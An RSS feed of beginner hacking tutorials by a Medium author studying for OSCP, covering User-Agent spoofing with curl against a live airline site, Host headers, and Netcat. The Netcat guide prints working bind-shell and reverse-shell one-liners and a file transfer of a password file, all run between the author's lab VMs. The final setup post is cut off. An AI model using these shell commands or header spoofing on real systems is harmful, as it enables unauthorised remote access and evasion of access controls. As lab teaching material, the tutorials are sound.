<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by HackTheBridge on Medium]]></title>
        <description><![CDATA[Stories by HackTheBridge on Medium]]></description>
        <link>https://medium.com/@HackTheBridge?source=rss-1d0998bdb4f1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*yMPrjtqbNUlC4-7g6hOtbw.jpeg</url>
            <title>Stories by HackTheBridge on Medium</title>
            <link>https://medium.com/@HackTheBridge?source=rss-1d0998bdb4f1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 13:10:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@HackTheBridge/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[WTF are User-Agent headers?]]></title>
            <link>https://medium.com/@HackTheBridge/beginners-guide-to-user-agent-headers-for-hackers-2872da203b15?source=rss-1d0998bdb4f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/2872da203b15</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[curl]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[http-headers]]></category>
            <dc:creator><![CDATA[HackTheBridge]]></dc:creator>
            <pubDate>Fri, 06 Dec 2024 23:48:43 GMT</pubDate>
            <atom:updated>2024-12-06T23:56:51.425Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DDDl8syeDlq991wscPIgzQ.png" /></figure><p>The HTTP <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent">User-Agent</a> header identifies the application, operating system, vendor, and version of the requesting client. The User-Agent header is useful for hackers as it can be manipulated to bypass restrictions, mimic trusted devices, or evade detection systems.</p><h4>Syntax:</h4><pre>User-Agent: &lt;product&gt; / &lt;product-version&gt; &lt;comment&gt;</pre><p>product: A product identifier — its name or development codename.</p><ul><li>Mozilla</li><li>curl</li><li>Googlebot</li></ul><p>product-version: Version number of the product.</p><ul><li>Mozilla/5.0</li><li>Chrome/131.0.0.0</li><li>curl/8.1.2</li></ul><p>comment: Contains more details such as sub-product information.</p><ul><li>(Windows NT 10.0; Win64; x64)</li><li>(Linux; Android 11; Pixel 5)</li><li>(compatible; Googlebot/2.1; +http://www.google.com/bot.html)</li></ul><p>Putting all this together gives you a User-Agent header that looks something like this:</p><pre>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)</pre><h4>Demo:</h4><p>Servers tend to block certain User-Agents, like curl, in an attempt to prevent automated scripts or bots from scraping data, abusing resources, or bypassing access controls. Here’s an example of a curl request (curl “https://www.united.com”) being blocked by the server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*YuMK5ylo2Q51T6QuPgbuuw.png" /><figcaption>Curl request blocked by the server</figcaption></figure><p>To see what’s going on here we can use the -v option which makes the output of curl more verbose and will show the request that we are sending:</p><pre>curl &quot;https://www.united.com&quot; -v<br>*   Trying 23.48.28.97:443...<br>* Connected to www.united.com (23.48.28.97) port 443 (#0)<br>* ALPN: offers h2,http/1.1<br>* (304) (OUT), TLS handshake, Client hello (1):<br>*  CAfile: /etc/ssl/cert.pem<br>*  CApath: none<br>* (304) (IN), TLS handshake, Server hello (2):<br>* (304) (IN), TLS handshake, Unknown (8):<br>* (304) (IN), TLS handshake, Certificate (11):<br>* (304) (IN), TLS handshake, CERT verify (15):<br>* (304) (IN), TLS handshake, Finished (20):<br>* (304) (OUT), TLS handshake, Finished (20):<br>* SSL connection using TLSv1.3 / AEAD-CHACHA20-POLY1305-SHA256<br>* ALPN: server accepted h2<br>* Server certificate:<br>*  subject: C=US; ST=Illinois; L=Arlington Heights; O=United Airlines Inc; CN=www.united.com<br>*  start date: May  1 00:00:00 2024 GMT<br>*  expire date: Mar 12 23:59:59 2025 GMT<br>*  subjectAltName: host &quot;www.united.com&quot; matched cert&#39;s &quot;www.united.com&quot;<br>*  issuer: C=US; O=DigiCert Inc; OU=www.digicert.com; CN=GeoTrust RSA CA 2018<br>*  SSL certificate verify ok.<br>* using HTTP/2<br>* h2 [:method: GET]<br>* h2 [:scheme: https]<br>* h2 [:authority: www.united.com]<br>* h2 [:path: /]<br>* h2 [user-agent: curl/8.1.2]<br>* h2 [accept: */*]<br>* Using Stream ID: 1 (easy handle 0x11d014200)<br>&gt; GET / HTTP/2<br>&gt; Host: www.united.com<br>&gt; User-Agent: curl/8.1.2<br>&gt; Accept: */*<br>&gt;<br>* HTTP/2 stream 1 was reset<br>* Connection #0 to host www.united.com left intact<br>curl: (56) HTTP/2 stream 1 was reset</pre><p>To dissect this further, let’s breakdown exactly what is happening when you send a curl request:</p><ul><li><strong>DNS Resolution</strong>: curl resolves www.united.com to the IP 23.48.28.97.</li><li><strong>TCP Connection</strong>: A connection is established to the server on port 443.</li><li><a href="https://developer.mozilla.org/en-US/docs/Glossary/ALPN"><strong>ALPN Negotiation</strong></a>: The server and client negotiate the HTTP version.</li><li><strong>TLS Handshake</strong>: curl performs a secure handshake with the server.</li><li><strong>HTTP Request</strong>: curl sends a GET request over the HTTP/2 protocol:</li></ul><pre>&gt; GET / HTTP/2<br>&gt; Host: www.united.com<br>&gt; User-Agent: curl/8.1.2<br>&gt; Accept: */*<br>&gt;<br>* HTTP/2 stream 1 was reset<br>* Connection #0 to host www.united.com left intact<br>curl: (56) HTTP/2 stream 1 was reset</pre><p>HTTP/2 stream 1 was reset indicates that the server terminated the HTTP/2 stream (ID 1) unexpectedly. This can happen for a number of reasons including:</p><ul><li><strong>Server Policy</strong>: Stream reset due to unusual requests.</li><li><strong>Protocol Errors</strong>: Header mismatches or curl issues.</li><li><strong>Resource Limits</strong>: Server frees resources by resetting streams.</li><li><strong>Security Measures</strong>: Firewalls or rate limiting block suspicious requests.</li></ul><p>In this case, it’s due to the User-Agent header being set to curl/8.1.2 and the server not liking the request.</p><h4>Changing the User-Agent header</h4><p>The good thing is, that we can actually change the User-Agent header to make it look like the request is coming from somewhere else such as a browser or crawler bot. This is done easily with the use of <a href="https://curl.se/docs/manpage.html#:~:text=%2DA%2C%20%2D%2Duser%2Dagent%20%3Cname,%2D%2Dproxy%2Dheader.">curl&#39;s </a><a href="https://curl.se/docs/manpage.html#:~:text=%2DA%2C%20%2D%2Duser%2Dagent%20%3Cname,%2D%2Dproxy%2Dheader.">-A option</a>, -H option or even the — proxy-header option:</p><pre>-A, - user-agent &lt;name&gt; Send User-Agent &lt;name&gt; to server<br>-H, --header &lt;header/@file&gt; Pass custom header(s) to server<br>--proxy-header &lt;header/@file&gt; Pass custom header(s) to proxy</pre><p>So let’s send another curl request with the minimal User-Agent header of just Mozilla/5.0:</p><pre>curl &quot;https://www.united.com&quot; -A &quot;Mozilla/5.0&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iI2zSIEUqeOMAjtGVnwBaA.png" /></figure><p>Even with the new User-Agent we get the same stream reset as before. The server clearly requires more information than just the product and product-version. Now let’s see what happens when we include a comment as well:</p><pre>curl &quot;https://www.united.com&quot; -v -A &quot;Mozilla/5.0 (Windows NT 10.0)&quot;</pre><pre>...<br>&gt; GET / HTTP/2<br>&gt; Host: www.united.com<br>&gt; User-Agent: Mozilla/5.0 (Windows NT 10.0)<br>&gt; Accept: */*<br>&gt;<br>&lt; HTTP/2 200<br>&lt; server: AkamaiNetStorage<br>&lt; content-type: text/html<br>&lt; set-cookie: PROrigin=origin_a; path=/<br>&lt; set-cookie: akavpau_ualwww=1744528255~id=bc85a8880cf08e092d7d768dca17931b; Path=/; HttpOnly; Secure; SameSite=None<br>&lt; set-cookie: akacd_NS_AB=2110980572~rv=52~id=ddaf4de2ddcaae9111b48b9c75c3db11; path=/; Secure; SameSite=None<br>&lt; strict-transport-security: max-age=15768000; includeSubDomains; preload<br>&lt; x-frame-options: SAMEORIGIN<br>...</pre><p>SUCCESS! As you can see from the output, the User-Agent has changed to Mozilla/5.0 (Windows NT 10.0) and we actually received a response from the server with a 200 OK status code. However, you can also see from the server: AkamaiNetStorageheader that this is an Akamai server which means that this domain is using Akamai’s <a href="https://www.akamai.com/glossary/what-is-a-cdn">CDN</a> for delivering content and providing security. This is a whole different topic that I won’t dive into just yet! For now at least you can see how User-Agent headers are used and a example of how to manipulate them to bypass basic controls.</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2872da203b15" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WTF are Host headers?]]></title>
            <link>https://medium.com/@HackTheBridge/why-do-we-need-host-headers-63da82d62abb?source=rss-1d0998bdb4f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/63da82d62abb</guid>
            <category><![CDATA[netcat]]></category>
            <category><![CDATA[http-request]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[http-headers]]></category>
            <category><![CDATA[fundamentals]]></category>
            <dc:creator><![CDATA[HackTheBridge]]></dc:creator>
            <pubDate>Tue, 03 Dec 2024 22:49:12 GMT</pubDate>
            <atom:updated>2024-12-06T23:55:46.261Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u4DuT1CMFTHezvUVFWwEaA.png" /></figure><p>The HTTP <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Host">host header</a> specifies the server’s host and port for the request.</p><p>If no port is included, the default for the protocol is assumed:</p><ul><li>443 for HTTPS</li><li>80 for HTTP</li></ul><p>In HTTP/1.1, the Host header is mandatory; a missing or duplicate Host header can result in a 400 Bad Request error.</p><h4>Syntax:</h4><pre>Host: &lt;host&gt;:&lt;port&gt;</pre><h4>Demo:</h4><p>To demonstrate this I have set up 2 very basic PHP servers; one on port 8001 and the other on 8002 with the following command:</p><pre>php -S 127.0.0.1:8001 -t demo1<br>php -S 127.0.0.1:8002 -t demo2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YEUc8Yy7eBAgE75XC6H9OQ.png" /><figcaption>Terminal screenshot showing how the two PHP servers were set up.</figcaption></figure><p>When a connection is made the they will echo eitherWelcome to Demo1! or Welcome to Demo2!.</p><p>To demo how the host header works I used an nginx proxy which utilises the proxy_pass <a href="https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass">directive</a>. To do this I added the following to the HTTP section of the /opt/homebrew/etc/nginx/nginx.conf:</p><pre>    server {<br>        listen       80;<br>        server_name  demo1.local;<br><br>        location / {<br>            proxy_pass http://127.0.0.1:8001;<br>        }<br>    }<br>    server {<br>        listen 80;<br>        server_name demo2.local;<br><br>        location / {<br>            proxy_pass http://127.0.0.1:8002;<br>        }<br>    }</pre><p>This allows both PHP servers to be hosted on the same IP address and port 127.0.0.1:80, with Nginx routing requests based on the Host header.</p><p>Then use <a href="https://medium.com/@HackTheBridge/beginners-guide-to-netcat-for-hackers-55abe449991d">netcat</a> to make the connection to 127.0.0.1:80:</p><pre>nc 127.0.0.1 80</pre><p>Once the connection is made you can send your first GET request without the Host header:</p><pre>GET / HTTP/1.1</pre><p>NOTE:<em> You need to press enter twice to send the request as the </em><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Messages#:~:text=An%20empty%20line%20indicating%20the%20metadata%20of%20the%20message%20is%20complete."><em>server expects a blank line</em></a><em> to signal that the client has finished sending headers.</em></p><p>As mentioned earlier, without the Host header we receive a 400 Bad Request <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/400">error</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wOs3DOXfB2EGJ4UYsBeb2Q.png" /><figcaption>Terminal screenshot showing the 400 Bad Request error.</figcaption></figure><p>To send a request with the host header you would send something like this:</p><pre>GET / HTTP/1.1<br>Host: example.com</pre><p>This tells the serve which domain you are looking for which is especially useful when multiple domains are hosted on the same IP address (like the example we’ve set up). So, in order to send a request to demo1 we would send this:</p><pre>GET / HTTP/1.1<br>Host: demo1.local</pre><p>Or to send a request to demo2 we would send:</p><pre>GET / HTTP/1.1<br>Host: demo2.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_B6KySQAWUDbMXqmo0_01A.png" /><figcaption>Terminal screenshot demonstrating Host headers.</figcaption></figure><p>You can now see from the response that the request was successful due to the 200 OK status code and that the nginx proxy server was able to route requests to the correct server using the Host header which is demonstrated by the response body Welcome to Demo1! or Welcome to Demo2!! The correct IP address and port numbers are also shown in the Host header within the response.</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63da82d62abb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beginner’s Guide To Netcat for Hackers]]></title>
            <link>https://medium.com/@HackTheBridge/beginners-guide-to-netcat-for-hackers-55abe449991d?source=rss-1d0998bdb4f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/55abe449991d</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[netcat]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[HackTheBridge]]></dc:creator>
            <pubDate>Sun, 13 Mar 2022 21:55:14 GMT</pubDate>
            <atom:updated>2022-11-25T00:59:09.043Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rPOUI-hnJdOxMsqIIBpTRw.png" /></figure><h3>Beginner’s guide to Netcat for hackers</h3><p>Netcat is a utility that can be used to create connections between two (or more) machines using specified ports. One machine listens for a connection which essentially opens a specific port whilst the other attempts to connect to it. Without firewalls the process is straightforward and allows for a simple connection between the two machines. Firewalls on either machine make it a little more tricky and require a few more steps.</p><p>In this blog you’ll learn how to use Netcat on Windows and Kali for:</p><ul><li>Basic connections</li><li>Bind shells</li><li>Reverse shells</li><li>File transfers</li></ul><p>Before jumping in, lets look at the netcat manpage for a more accurate, technical description:</p><h4>Netcat — The Swiss Army Knife of Networking</h4><blockquote>The <strong>nc</strong> (or <strong>netcat</strong>) utility is used for just about anything under the sun involving TCP or UDP. It can open TCP connections, send UDP packets, listen on arbitrary TCP and UDP ports, do port scanning, and deal with both IPv4 and IPv6. Unlike telnet(1), <strong>nc</strong> scripts nicely, and separates error messages onto standard error instead of sending them to standard output, as telnet(1) does with some.</blockquote><h3>Setting up the virtual machines for Netcat</h3><p>I have been using Parallels for my VMs however you can still follow along using VirtualBox or VMWare or another VM software that you prefer. Start by creating one Kali Linux VM and one Windows VM which is very straightforward in Parallels. If you are using VMWare you can download the Kali Linux VM directly from <a href="https://www.google.com/url?q=https://www.kali.org/get-kali/&amp;sa=D&amp;source=docs&amp;ust=1647312054393141&amp;usg=AOvVaw19_BJMYbOLENy6DLF9FL0z">https://www.kali.org/get-kali/</a>. If you’re using VMWare check out this article for setting up Virtual Machines — <a href="https://kb.vmware.com/s/article/1018415">https://kb.vmware.com/s/article/1018415</a>.</p><p>Once you have your two VMs up and running, your Kali Linux is pretty much good to go however you will need to download Ncat via installing Nmap on the Windows machine as this is not a default tool on Windows.</p><h4>Installing Nmap and Ncat on Windows</h4><p>First follow this link whilst on the Windows VM: <a href="https://nmap.org/download.html#windows">https://nmap.org/download.html#windows</a> to download nmap.</p><figure><img alt="Links to installing nmap on Windows machine for use with Netcat for beginners." src="https://cdn-images-1.medium.com/max/916/1*zs1xBXfqkPPOzRBCUsw1Ng.png" /><figcaption>Download and instaling the nmap executable.</figcaption></figure><p>Select the “Latest stable release self-installer: nmap-7.92-setup.exe” or the current “stable” version. This file saves to Program Files (x86). Using the command prompt, navigate to Program Files (x86) and find the nmap download. Within this director, run nmap to check that the install has been successful. You can now use the ncat command. Note: In Linux, the default command is nc while in Windows it is ncat.</p><p>Now that this has been installed you can practice using this tool to create connections between your Kali and Windows VMs.</p><h3>Basic connections</h3><h4>Kali server</h4><p>Use ifconfig on Kali to identify your IPv4 address and ipconfig on Windows.</p><p>After identifying and noting your IP addresses, you can start your connection. On your Kali VM, set up a netcat listener on a specified port of your choice to “listen” for connections. I’m using port 4444 and -nlvp options:</p><ul><li>n = numeric IP address only (no DNS)</li><li>l = listen for inbound connections</li><li>v = verbose</li><li>p = local port number</li></ul><pre>nc -nlvp 4444</pre><figure><img alt="GIF of Kali command line interface using command nc -nlvp 4444 to set up a netcat listener on kali linux machine to listen for connections on port 4444." src="https://cdn-images-1.medium.com/max/936/1*8T-7qfjnI6SImSsF7KcJrQ.gif" /></figure><p>Open a new command prompt on your Windows VM and connect to the open port on your Kali VM using:</p><pre>ncat -nv &lt;Kali-IP&gt; 4444</pre><figure><img alt="A GIF of Windows Command Line Interface showing how to connect to a listening machine on port 4444 using command ncat -nv IP Address 4444. Beginner’s guide to netcat for hackers." src="https://cdn-images-1.medium.com/max/788/1*5hCtzG3stkqKRtciJrRilQ.gif" /></figure><p>The output shows that we have now successfully connected the two machines. This is essentially now a simple messaging service where you can send messages between machines. You can see from the outputs below that a message sent from the Windows machine has been received by the Kali machine and vice-versa.</p><figure><img alt="A GIF showing both Windows CLI (left) and Kali CLI (right) connecting via netcat commands. Kali VM set up to listen on port 4444 and Windows VM connecting to the listening port 4444. Once connection is made the GIF shows messages being sent and received by both machines using the connection." src="https://cdn-images-1.medium.com/max/1024/1*nYnjtZkysMnjxoW5lOuw6Q.gif" /></figure><p>Use Ctrl + C on either machine to close the connection.</p><h4>Windows server</h4><p>This is basically the same method as the above however you use:</p><ul><li>ncat -nlvp 4444 to listen for connections on the Windows VM.</li><li>nc -nv &lt;Windows-IP&gt; 4444 to connect to 👆 from your Kali VM.</li></ul><figure><img alt="A GIF showing Windows CLI using netcat command to set port 4444 to listen for connections. Command: ncat -nlvp 4444" src="https://cdn-images-1.medium.com/max/794/1*QGGZHKb7IKgzv5N1dSWiqQ.gif" /><figcaption>Using netcat to listen on port 4444 from Windows VM</figcaption></figure><figure><img alt="A GIF showing the CLI of both Window Virtual machine (left) listening on port 4444 and Kali Virtual Machine (right) connecting to the listening port of the Windows machine. Command to connect on Kali: nc -nv IP Address 4444. Once connection is made the GIF shows messages being sent and received by both machines using the connection." src="https://cdn-images-1.medium.com/max/1024/1*2t8XutojqFmi00qdgG1B3g.gif" /><figcaption>Establishing a connection and sending messages between the two VMs</figcaption></figure><h3>Bind shells</h3><p>Now that you’ve successfully connected the two virtual machines, lets look at bind shells. To set up a bind shell we essentially need to attach a shell to a port on one machine so that when a connection is made the shell can be accessed on the other machine and commands can be executed.</p><blockquote><strong>NOTE</strong>: For this stage to work you will need to go to your firewall settings on the Windows VM and turn the Firewall off. Obviously this is not the safest thing to do so remember to turn the firewall back when you’re finished. If you don’t turn the Firewall off then you will not be able to connect to the Windows VM. Try toggling the firewall settings during these tasks to see what does work and what doesn’t to help understand what is going on.</blockquote><h4>Windows bind shell</h4><p>To start a bind shell on Windows we need to set up a listener with the cmd.exe (Windows command prompt) executable attached to it. To specify the file to execute we can use either:</p><ul><li>e = program to execute after connection option. Syntax: -e &lt;filename&gt;</li><li>c = use /bin/sh to execute. Syntax: -c &lt;shell commands&gt;</li></ul><pre>ncat -nlvp 4444 -e cmd.exe</pre><figure><img alt="A GIF showing Windows CLI creating a bind shell on listening port 4444 using command ncat -nlvp 4444 -e cmd.exe" src="https://cdn-images-1.medium.com/max/782/1*UHcDS3eFwKf3fP6DvLyI8g.gif" /><figcaption>Windows VM: Using netcat to bind shell to port 4444 upon connection</figcaption></figure><p>Now that you have bound the shell to the port, connect to it using:</p><pre>nc -nv &lt;Windows-IP&gt; 4444</pre><p>Once a connection is made, the Kali VM will have access to the Windows VM shell.</p><figure><img alt="GIF showing the CLI on Windows VM setting up bind shell to port 4444 (left) and CLI on Kali VM connecting to the bind shell on the listening port (right). Kali VM shows command “whoami” before (Parallels) and after (theobridgembe32) the netcat connection to show that the Kali machine successfully connected to the bind shell and has access to the Windows shell." src="https://cdn-images-1.medium.com/max/1024/1*crNQxK_oqK9Bh2rULbQMwQ.gif" /><figcaption>Connecting to the bind shell from the Kali VM and accessing the Windows Command Line</figcaption></figure><p>You can see that the Kali VM now has access to the Windows shell from the output of whoamichanging from “parallels” to “theobridgembe32/theo”.</p><h4>Kali bind shell</h4><p>On Kali, the bind shell method differs slightly to the above, where you’ll use -c /bin/bash instead of -e cmd.exe. The -e and -c options can be used interchangeably however I believe this is the correct usage. I’ll mix and match these options throughout this blog to show you that they both work. Use whoami to confirm the successful bind shell:</p><figure><img alt="GIF showing the CLI on Kali VM setting up bind shell to port 4444 (right) and CLI on Windows VM connecting to the bind shell on the listening port (right). Windows VM shows command “whoami” before (Theobridgembe32) and after (Parallels) the netcat connection to show that the Windows machine successfully connected to the bind shell and has access to the Kali shell." src="https://cdn-images-1.medium.com/max/1024/1*D7nK_yzvcLgWwGDKgCfOQQ.gif" /><figcaption>Connecting to bind shell from Window VM</figcaption></figure><h3>Reverse shells</h3><p>A reverse shell is when the executable shell is sent from the host to the machine that is listening rather than being bound to the port and executed upon connection. This can be used when there is a Firewall blocking a connection for a bind shell and allows the machine behind the firewall to send access to the shell to the listening machine outside of the firewall.</p><h4>Windows reverse shell</h4><p>Now you can turn on the firewall on the Windows VM to show how the reverse shell can bypasses it.</p><p>Firstly, start a listener on Kali VM:</p><pre>nc -nlvp 4444</pre><p>Next, connect to the listening port and send the shell to the it using:</p><pre>ncat &lt;Kali-IP&gt; 4444 -c cmd.exe</pre><p>In the same way -c cmd.exe can be bound to a port, it can also be used in reverse and sent to the listening machine hence “Reverse” shell. This means that a shell, even if behind a firewall, can be sent to an outside machine and be executed upon connection to gain access to execute commands.</p><figure><img alt="GIF showing Windows CLI (left) and Kali CLI (right). Kali VM uses netcat to listen on port 4444 while Windows VM connects to the listening port using netcat reverse shell using command nc -nv IP address 4444 -c cmd.exe. GIF shows that user on Kali VM changes once the connection is made and has access to Windows VM shell." src="https://cdn-images-1.medium.com/max/1024/1*hmF34m6iVasJ9kqVMBEjgQ.gif" /><figcaption>Sending a reverse shell from Windows VM to Kali VM</figcaption></figure><p>You can see from the output that once the connection is made the reverse shell is executed by the listener.</p><h4>Kali reverse shell</h4><p>For this to work, once again you’ll need to disable your firewall on the Windows VM (or create a rule that will allow this connection). Try it with and without the firewall to see what happens.</p><p>Set up the listener on the Windows:</p><pre>ncat -nlvp 4444</pre><p>Connect to the listener and send the reverse shell. Again, instead of using -c cmd.exe you will need to use -e /bin/bash :</p><pre>nc -nv &lt;Windows-IP&gt; 4444 -e /bin/bash</pre><figure><img alt="GIF showing Windows CLI (left) and Kali CLI (right). Windows VM uses netcat to listen on port 4444 while Kali VM connects to the listening port using netcat reverse shell using command “nc -nv IP address 4444 -e /bin/bash”. GIF shows that user on Windows VM changes once the connection is made (using “whoami” to show change) and has access to Kali VM shell." src="https://cdn-images-1.medium.com/max/1024/1*k9TmZCEuGOMhA9MTNC8vtQ.gif" /><figcaption>Sending a reverse shell from Kali VM to Windows VM</figcaption></figure><p>As you can see from the output, the reverse shell was successfully executed on the listening machine and the Windows VM has access to the Kali command line.</p><h3>File transfers</h3><h4>Windows file transfer</h4><p>You can use Netcat to transfer files between the two VMs. Start by creating a file to send from the Windows VM:</p><pre>echo &quot;password&quot; &gt; password.txt</pre><p>Set up the Kali listener and specify where to save the transferred file:</p><pre>nc -nlvp 4444 &gt; passwordWindows.txt</pre><p>Send the file from the Windows machine by using the file as the input for the connection:</p><pre>ncat -nv &lt;Kali-IP&gt; 4444 &lt; password.txt</pre><p>When the connection has been made the file contents are saved to the file specified by the listener:</p><figure><img alt="GIF showing the Windows VM creating password.txt file containing the word “password” and the Kali VM using netcat to listen on port 4444 and send output to a file on the Kali machine. The Windows VM then uses netcat to use the output of the “password” file as the input for the netcat connection using command “nc -nv IP Address 4444 &lt; password.txt” to connect to the Kali listening port. Once the connection is made the Kali VM uses “cat” to show file contains “password” and transfer was successful" src="https://cdn-images-1.medium.com/max/1024/1*vmMS31DSI5EBSTYxJlIrxQ.gif" /><figcaption>Creating and sending a file from the Windows VM to the Kali VM.</figcaption></figure><p>You can see from the output that the file was successfully transferred. From the Kali VM it looks as though the connection was just ended however the successful file transfer can be confirmed by reading the contents transferred file with cat &lt;transferred_file&gt; .</p><h4>Kali file transfer</h4><p>This is pretty much the same as sending files from the Windows VM. The only difference is that you will need to manually stop the connection using Ctrl + C before reading the file:</p><figure><img alt="GIF showing Kali VM using echo to create file secret.txt containing “topsecretpassword”. Windows VM then uses netcat to listen on port 4444 and send output to a new file. Kali VM then uses netcat to send the contents of the file using command “nc -nv IP address 4444 &lt; secret.txt”. Once connection is made, Windows VM uses “type” to show the contents of the new file and shows file transfer was successful." src="https://cdn-images-1.medium.com/max/1024/1*2t_-JCo91u2azPscaT4frg.gif" /><figcaption>Sending a file from Kali VM to Windows VM</figcaption></figure><p>As you can see the process to send files is fairly similar from either operating system. This can also be done in reverse where the file is sent from the machine that is listening so that the machine connecting receives the file. This is essentially like binding a file instead of a shell.</p><figure><img alt="Image showing how you can use netcat to bind a file to a listening port much like binding a shell using command on Windows VM “ncat -nlvp 4444 &lt; kali_file_transfer.txt” to set up a listening port with a file bound to the port." src="https://cdn-images-1.medium.com/max/922/1*C0J57wItaBsrfCBRIWpA1Q.png" /><figcaption>Sending (binding) a file from the listening machine.</figcaption></figure><figure><img alt="Image showing how Kali VM connects to the port that the Windows VM is listening on and has also bound a file to. When the connection is made by the Kali machine the file is transfered to the Kali VM." src="https://cdn-images-1.medium.com/max/1024/1*UUAbe53OQbbKUNTytQaPkg.png" /><figcaption>Successfully transferred file to the machine that connected to the open port.</figcaption></figure><h3>Wrapping Up…</h3><p>You should now have a basic understanding of Netcat. The freedom to change firewall settings and try different things from both Kali and Windows is a great way to learn. It also forces you to simultaneously use the different operating systems and gets you familiar with the subtle yet important differences between Windows and Kali commands.</p><p>Practicing with two VMs helps get to grips with Netcat and allows you to try things out. For example, try creating a script that prints “Hello World” to the terminal upon execution and try binding, reverse “scripting” and sending this file using Netcat to see what happens. You can have a lot of fun with this and attempt to execute and send different things files.</p><p>As always, if you have made it this far please clap like crazy, comment, share, subscribe and follow me to join me on my journey towards OSCP. Follow me on Twitter @HackTheBridge for more regular updates. Thank you for your support! See you next time!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55abe449991d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Learning How To Ethical Hack: Step 5— Upgrade my set up.]]></title>
            <link>https://medium.com/@HackTheBridge/learning-how-to-ethical-hack-step-5-upgrade-my-set-up-1d38b38dfd99?source=rss-1d0998bdb4f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d38b38dfd99</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[HackTheBridge]]></dc:creator>
            <pubDate>Thu, 10 Mar 2022 22:04:29 GMT</pubDate>
            <atom:updated>2022-06-14T12:46:09.673Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2rrwZJSKs0OEVLY9ToYx4Q.png" /></figure><p>It’s clear that I am going to need to mix things up as I progress through this process. I have been sitting at my dining table and on my sofa trying to get as much done as possible however everything has felt very uncomfortable. I came to the conclusion that if I am going to be serious about this I need to improve my set up to make it more long term. Turns out that sitting on the sofa using a tiny screen is not ideal for the old back!</p><p>I have decided to upgrade my existing setup in the aim to make this whole process a little more comfortable and a bit more reliable. I started out using a Microsoft Surface 12&quot; all in one laptop/tablet. This wasn’t an ideal choice by any means but it was all I had. I found that the screen was extremely small especially when loading Kali Linux through the VirtualBox VM I was using and I couldn’t stand squinting anymore!</p><p>Here was my previous set up… a Microsoft Surface Pro, tiny coffee table, wireless keyboard and mouse, ps4 and Sony TV for watching youtube videos… and glass of wine for good measure…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1Tp3p8zo1j5Knjfz" /></figure><p>I wanted to see what twitter had to say about laptops for ethical hackers…</p><h3>HackTheBridge on Twitter: &quot;Hackers I need your help! I need to get a new computer so I can continue my journey to OSCP in 6 months! What should I get? Please comment makes and models! #Microsoft #MacBook #laptop #desktop #hacking #Apple #hackers #CyberSec #infosec #Pentesting #bugbounty #gamer #computer / Twitter&quot;</h3><p>Hackers I need your help! I need to get a new computer so I can continue my journey to OSCP in 6 months! What should I get? Please comment makes and models! #Microsoft #MacBook #laptop #desktop #hacking #Apple #hackers #CyberSec #infosec #Pentesting #bugbounty #gamer #computer</p><p>Twitter favoured the laptop. I agreed with this outcome as portability is going to be important to fit into my lifestyle. After some research online and watching countless YouTube videos, I concluded that it is going to have to be a decision I need to make for myself. This was one of the first times that YouTube hasn’t really been able to help me out actually. There were SO many different answers to the same question that is was hard to find two that were the same! I boiled it down to 3 different laptops based on my preferences and research: MacBook Pro, ThinkPad X1 and the Asus Rog Strix.</p><ul><li><a 